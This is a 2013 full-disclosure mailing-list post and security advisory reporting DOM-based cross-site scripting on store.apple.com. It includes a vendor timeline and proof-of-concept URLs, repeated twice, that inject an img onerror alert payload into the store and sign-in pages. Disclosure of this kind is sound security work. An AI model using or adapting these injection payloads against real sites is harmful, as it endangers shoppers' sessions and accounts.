full-disclosure - XSS in store.apple.com

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Date: Sun, 09 Jun 2013 00:11:10 +0200
From: Stefan Schurtz <sschurtz@...nline.de>
To: full-disclosure@...ts.grok.org.uk
Subject: XSS in store.apple.com


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After four weeks the following xss are still not fixed:

Tested with IE8 / IE 10 & Google Chrome 27.0

http://store.apple.com/us/browse/home/shop_ipad#"/> <img src='aaa'
onerror=alert(document.domain)>
http://store.apple.com/us/browse/home/shop_iphone#"/> <img src='aaa'
onerror=alert(document.domain)>

https://secure2.store.apple.com/us/sign_in?c=aHR0cDovL3N0b3JlLmFwcGxlLmNvbS91c3wxYW9zZmU4OGZjNWIyNThhYWVhOTM5MzVjZjI2NTk1OGE3MWUwY2Y0MmI2OA&r=SDHCD9JUYKX777H9KT9JT7JJTAPAXHFKH&s=aHR0cHM6Ly9zZWN1cmUyLnN0b3JlLmFwcGxlLmNvbS91cy9hY2NvdW50L3NldHVwL3N0YXJ0P3BsdG49NjdDOTM5QUN8MWFvczYwZTU0ZmU1Y2E0Mjc1OTg4NzFiMTdjYzE5YjA1NjYxZTVkNDE4YzI&up=t#"/>
<img src='aaa' onerror=alert(document.domain)>

Here is the advisory:

Advisory: store.apple.com - DOM based Cross-site Scripting vulnerability
Advisory ID: SSCHADV2013-009
Author: Stefan Schurtz
Affected Software: Successfully tested on store.apple.com
Vendor URL: http://www.apple.com
Vendor Status: informed

==========================
Vulnerability Description
==========================

The website 'store.apple.com' is prone to a DOM based XSS vulnerability.

==========================
PoC-Exploit
==========================

// IE8 & IE 10 & Google Chrome 27.0

http://store.apple.com/us/browse/home/shop_ipad#"/> <img src='aaa'
onerror=alert(document.domain)>
http://store.apple.com/us/browse/home/shop_iphone#"/> <img src='aaa'
onerror=alert(document.domain)>

https://secure2.store.apple.com/us/sign_in?c=aHR0cDovL3N0b3JlLmFwcGxlLmNvbS91c3wxYW9zZmU4OGZjNWIyNThhYWVhOTM5MzVjZjI2NTk1OGE3MWUwY2Y0MmI2OA&r=SDHCD9JUYKX777H9KT9JT7JJTAPAXHFKH&s=aHR0cHM6Ly9zZWN1cmUyLnN0b3JlLmFwcGxlLmNvbS91cy9hY2NvdW50L3NldHVwL3N0YXJ0P3BsdG49NjdDOTM5QUN8MWFvczYwZTU0ZmU1Y2E0Mjc1OTg4NzFiMTdjYzE5YjA1NjYxZTVkNDE4YzI&up=t#"/>
<img src='aaa' onerror=alert(document.domain)>

==========================
Disclosure Timeline
==========================

12-May-2013 - vendor informed by email
13-May-2013 - feedback from vendor
29-May-2013 - question about status
29-May-2013 - feedback from vendor
07-Jun-2013 - release date of this security advisory

==========================
Credits
==========================

Vulnerability found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://www.apple.com
http://www.darksecurity.de/advisories/2013/SSCHADV2013-009.txt
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Download attachment "0x62DC6CC0.asc" of type "application/pgp-keys" (1923 bytes)

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